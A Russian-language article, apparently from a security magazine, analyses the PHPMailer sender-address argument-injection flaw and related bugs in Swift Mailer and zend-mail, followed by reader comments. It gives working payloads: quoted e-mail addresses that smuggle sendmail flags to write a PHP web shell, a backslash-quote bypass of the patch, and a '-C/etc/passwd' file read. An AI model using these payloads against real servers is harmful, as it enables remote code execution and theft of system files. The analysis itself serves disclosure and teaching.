Сегодня мы рассмотрим уязвимость в библиотеке PHPMailer, которая используется для отправки писем миллионами разработчиков по всему миру. Этот скрипт задействован в таких продуктах, как Zend Framework, Laravel, Yii 2, а так же в WordPress, Joomla и многих других CMS, написанных на PHP. Кроме того, ты можешь встретить его в каждой третьей форме обратной связи.

О проблеме сообщил Давид Голунский — специалист по безопасности родом из Польши. 25 декабря 2016 года он на своем сайте опубликовал документ, в котором рассказал о проблемах в текущей версии PHPMailer. А вскоре подоспел и proof of concept.

Уязвимость имеет статус критической потому, что позволяет удаленно выполнять команды и читать файлы на целевой системе. В этой статье я рассмотрю баг в самой библиотеке, нескольких уязвимых продуктах, а также обход неудачной попытки патча.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
 

Детали уязвимости и патча

Для начала взглянем на патч, который латает эту уязвимость. Идем на GitHub и смотрим соответствующий коммит.

В некоторых местах скрипта появилась дополнительная фильтрация переменной $this->Sender. Это параметр, в котором находится адрес отправителя сообщения (From: ded@moroz.com). Давай посмотрим, что с ним не так.

PHPMailer по умолчанию использует стандартную функцию mail() для отправки сообщений. Выглядит это следующим образом:

class.phpmailer.php:

1426:      * Send mail using the PHP mail() function.
...
1434:     protected function mailSend($header, $body)
...
1444:         if (!empty($this->Sender)) {
1445:             $params = sprintf('-f%s', $this->Sender);
1446:         }
...
1454:                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

class.phpmailer.php:

686:     private function mailPassthru($to, $subject, $body, $header, $params)
...
700:             $result = @mail($to, $subject, $body, $header, $params);

Как видишь, mail() вызывается с пятью параметрами. Скрипт же собирает эти параметры в $params, в том числе и адрес отправителя Sender (строки 1444–1446). Если заглянуть в документацию PHP, то можно увидеть, что последний параметр функции отвечает за дополнительные ключи, которые передаются бинарнику sendmail на этапе отправки сообщения.

Ты уже слышал про RCE через mail() с пятью параметрами? Если нет, то вот кратко суть.

Приложение sendmail имеет множество опций запуска, среди них есть несколько интересных:

  • -Ooption=value устанавливает указанные настройки;
  • -OQueueDirectory=queuedir указывает путь, где будут храниться письма, поставленные в очередь для отправки;
  • -oQ — короткая версия предыдущего ключа;
  • -Cfile позволяет указать путь к конфигурационному файлу;
  • -Xlogfile позволяет логировать все этапы отправки сообщений в указанный файл. Очень полезно для отладки, а также для заливки шеллов ;).

Если использовать эти ключи в правильной комбинации, можно записать файл с любым содержимым. Тебе пригодятся ключи -oQ и -X.

Собственно, функция mail() как раз и занимается тем, что выполняет команду sendmail с нужными параметрами, которые в нашем случае поступают к ней от PHPMailer. Если интересны детали, смотри на небольшой кусок кода из исходников PHP.

/php/php-src/master/ext/standard/mail.c:

099: /* {{{ proto int mail(string to, string subject, string message [, string additional_headers [, string additional_parameters]])
100:    Send an email message */
101: PHP_FUNCTION(mail)
102: {
103:    char *to=NULL, *message=NULL, *headers=NULL, *headers_trimmed=NULL;
104:    char *subject=NULL, *extra_cmd=NULL;
...
123:    if (extra_cmd) {
124:        MAIL_ASCIIZ_CHECK(extra_cmd, extra_cmd_len);
125:    }
...
169:    } else if (extra_cmd) {
170:        extra_cmd = php_escape_shell_cmd(extra_cmd);
171:    }
...
173:    if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {
174:        RETVAL_TRUE;
...
265: PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC)
266: {
...
271:    FILE *sendmail;
...
273:    char *sendmail_path = INI_STR("sendmail_path");
274:    char *sendmail_cmd = NULL;
...
354:    if (extra_cmd != NULL) {
355:        spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
...
377:    sendmail = popen(sendmail_cmd, "w");

Вооружаемся отладчиком, чтобы быстро посмотреть, какие параметры принимает бинарник. Если выполнить php -r 'mail("pes@localhost", "CheckOneTwo", "Hello!", "", "-OQueueDirectory=/tmp -X/var/www/html/shell.php");', то sendmail_path будет выглядеть следующим образом.

Отладка функции mail()
Отладка функции mail()
gdb-peda$ print sendmail_cmd
$1 = 0xb7494a40 "/usr/sbin/sendmail -t -i  -OQueueDirectory=/tmp -X/var/www/html/shell.php"

Результатом выполнения, как ты уже успел догадаться, будет файл /var/www/html/shell.php. Заметь, что можно контролировать его содержимое с помощью заголовков письма: адресат, тема и текст сообщения.

Содержимое созданного через `-X` лог-файла
Содержимое созданного через `-X` лог-файла

Возвращаемся к насущным проблемам. Притворимся на время разработчиками на PHP и возьмем готовый скрипт mail.phps из папки examples самой библиотеки. Теперь создадим простейшую форму обратной связи. К слову, большая их часть именно так и делается.

examples/mail.phps:

10: //Set who the message is to be sent from
11: $mail->setFrom($_POST["email"], $_POST["name"]);

form.html:

1: <form action="examples/mail.phps" method="POST">
2:   <label><input type="text" name="name">Имя</label><br/>
3:   <label><input type="text" name="email">E-mail</label><br/>
4:   <label><textarea name="message" placeholder="Текст"></textarea></label><br/>
5:   <input type="submit">

После отправки формы функция setFrom() создает переменную $this->Sender, которая содержит адрес отправителя и попадает в командную строку в виде параметра -f (заголовок From в письме).

class.phpmailer.php:

1444:         if (!empty($this->Sender)) {
1445:             $params = sprintf('-f%s', $this->Sender);
1446:         }

class.phpmailer.php:

1011:     public function setFrom($address, $name = '', $auto = true)
...
1016:         if (($pos = strrpos($address, '@')) === false or
1017:             (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
1018:             !$this->validateAddress($address)) {
1019:             $error_message = $this->lang('invalid_address') . " (setFrom) $address";
...
1027:         $this->From = $address;
...
1029:         if ($auto) {
1030:             if (empty($this->Sender)) {
1031:                 $this->Sender = $address;
1032:             }
1033:         }

Адрес перед этим проходит валидацию (строка 1017), поэтому нельзя просто взять и передать параметры для заливки шелла — получишь invalid_address (строка 1019). Если, к примеру, попробовать адрес Test -oQ/tmp -X/var/www/html/shell.php@givemeshell.com, то это он вызовет ошибку валидации.

Если в двух словах, то тут проводится проверка на соответствие стандарту RFC 3696. Однако Голунский выяснил, что согласно стандарту адреса с пробелами считаются валидными только в том случае, если они окружены кавычками. Например, " email with spaces "@itsok.com.

Делаем вторую попытку. Пробуем передать "Test -oQ/tmp -X/var/www/html/shell.php"@givemeshell.com. На этот раз валидация пройдена, но команда для запуска почтового демона выглядит не совсем так, как нам нужно.

Вся строка в конце считается частью аргумента -f. Чтобы избежать этого, нужно разбить его на части. К счастью, стандарт разрешает использовать обратные слеши в адресе, поэтому воспользуемся эскейп-последовательностью \" и отправим "Test\" -oQ/tmp/ -X/var/www/html/shell.php any"@givemeshell.com.

Эксплоит успешно отработал, файл создан
Эксплоит успешно отработал, файл создан

На этот раз все проходит удачно. Как видишь, дополнительно в качестве текста сообщения я отправил код на PHP, который был успешно записан в файл и прекрасно выполняется.

Результат работы эксплоита
Результат работы эксплоита

Теперь мы получили возможность создавать файлы на целевой системе с произвольным содержимым. Миссия выполнена.

 

Как можно обойти патч

Разумеется, команда разработчиков PHPMailer поспешила выпустить патч и настоятельно рекомендовала всем обновить библиотеку до версии 5.2.18. Однако Голунский тоже быстро среагировал и буквально в день выхода фикса зарелизил его обход.

Снова идем на GitHub и ищем коммит с патчем. Ребята добавили код, который проверяет, правильно ли экранируется параметр Sender. Если нет, то параметр -f вообще не используется.

Почему же не хватило фильтрации функцией escapeshellarg()? Дело в особенностях обработки передаваемых аргументов. Советую прочитать про обход escapeshellarg, если ты еще не в курсе этих дел.

Попробуем отправить предыдущий эксплоит и посмотрим, что будет.


Патч экранирует значение параметра
Патч экранирует значение параметра

Теперь вся переданная строка заключена в одинарные кавычки и воспринимается демоном sendmail как хидер From. Но стоит только лишь заменить Test\" на Test\', как все вернется на старые рельсы и эксплоит вновь заработает.

Успешный обход патча
Успешный обход патча
 

Срабатывают и другие флаги

Как ты помнишь, в начале статьи я упоминал флаг -C как потенциально интересный. Так вот, с его помощью ты можешь читать файлы на сервере. Этот параметр используется для указания кастомного конфигурационного файла. Естественно, конфиг должен иметь нужную структуру, а если она отсутствует, то будут возвращаться ошибки вида 31337 >>> /path/to/file/file.ext: line 2: unknown configuration line "Текст строки".

Остается указать путь до нужного файла и смотреть результаты в логе. Например, так можно прочитать каноничный passwd: "D\' -C/etc/passwd -X/var/www/html/PHPMailer-5.2.19/readfile.txt a"@givemeshell.com.

Чтение файлов через флаг `-C`
Чтение файлов через флаг `-C`

Также не забывай про ограничение длины в имени ящика. Оно должно быть не более 64 символов.

Вообще, советую присмотреться к конфигурационным файлам: это большое поле для дальнейших исследований. Если интересно, можешь глянуть информацию о структуре этих файлов.

Я почти уверен, что возможен такой кейс атаки:

  • создаешь конфиг, в котором, используя флаг , переназначаешь мейлер local, указывая путь к /bin/sh;
  • загружаешь «картинку» с конфигурацией;
  • указываешь к конфигу путь через -C;
  • получаешь возможность выполнения команд.

На этом перестаю утомлять тебя теорией — переходим к практическим кейсам.

 

Переходим к практике: Swift Mailer и Zend Framework

Swift Mailer — комплексное решение для организации отправки почты. Эта библиотека используется во многих серьезных проектах, среди которых такие популярные фреймворки, как Yii 2, Laravel и Symfony.

Проблема все та же — отсутствует фильтрация данных, которые попадают в команду запуска sendmail. Все версии вплоть до 5.4.5-DEV уязвимы к описанной выше атаке.

Если посмотреть на патч, то сразу становится понятно, где проблемный участок кода.

/lib/classes/Swift/Transport/MailTransport.php:

026:     /** Additional parameters to pass to mail() */
027:     private $_extraParams = '-f%s';
...
078:     public function setExtraParams($params)
079:     {
080:         $this->_extraParams = $params;
081:
082:         return $this;
083:     }
...
170:         if ($this->_invoker->mail($to, $subject, $body, $headers, $this->_formatExtraParams($this->_extraParams, $reversePath))) {
...
249:     private function _formatExtraParams($extraParams, $reversePath)
...
253:             $extraParams = empty($reversePath) ? str_replace('-f%s', '', $extraParams) : sprintf($extraParams, $reversePath);

В целях демонстрации развернем тестовый стенд с Yii 2, взяв за основу yii2-app-basic. Там есть форма обратной связи, и можно экспериментировать с ней. К сожалению, по умолчанию включена встроенная валидация email — она с радостью отклонит те адреса, что приводят к эксплуатации.

models/ContactForm.php:

21:      * @return array the validation rules.
22:      */
23:     public function rules()
24:     {
25:         return [
...
28:             // email has to be a valid email address
29:             ['email', 'email'],

Цель этой статьи — обратить внимание на уязвимость и ее причины, а не предоставить готовый эксплоит. Поэтому, если хочешь, на досуге можешь попробовать обойти проверку. Вот класс, который проводит валидацию.

Пока же мы ее отключаем. Представим, что программист просто забыл ее поставить. Заполняем форму обратной связи.

Yii 2 готов к эксплуатации уязвимости
Yii 2 готов к эксплуатации уязвимости

Отправляем "Dog\" -oQ/tmp/ -X/var/www/basic/web/shell.php as"@givemeshell.co и получаем рабочий шелл.

Выполнение произвольного кода в Yii 2
Выполнение произвольного кода в Yii 2

С Zend Framework абсолютно та же история. Уязвимы все версии компонента zend-mail до версии 2.7.2. Если внимательно изучить патч, станет ясно, как эксплуатировать уязвимость.

 

Заключение и ссылки

Хочется поблагодарить Давида Голунского за интересные ресерчи, которых в последнее время все больше. Например, повышение привилегий в MySQL и nginx — если ты еще не ознакомился с ними, советую это сделать.

Оригинальный документ об уязвимости в PHPMailer смотри тут. А здесь — видеоролик с демонстрацией работы эксплоита.

Сайт Давида вообще рекомендую добавить в закладки и регулярно туда заглядывать.

4 комментария

  1. Аватар

    soko1

    12.01.2017 в 15:57

    >Если использовать эти ключи в правильной комбинации, можно записать файл с любым содержимым. Тебе пригодятся ключи -oQ и -X.

    Описание опции -X либо не указано выше, либо опечатка

  2. Аватар

    Int

    13.01.2017 в 12:21

    Никогда не делал формы таким способом. Всегда отсылаю почту с info@site.domain, а в теле письма уже пишу данные, которые пользователь указал.

  3. Аватар

    ksam

    13.01.2017 в 16:49

    «Этот скрипт задействован в таких продуктах, как Zend Framework, Laravel, Yii 2»
    Что за желтизна? Нет в них такого по умолчанию.

Оставить мнение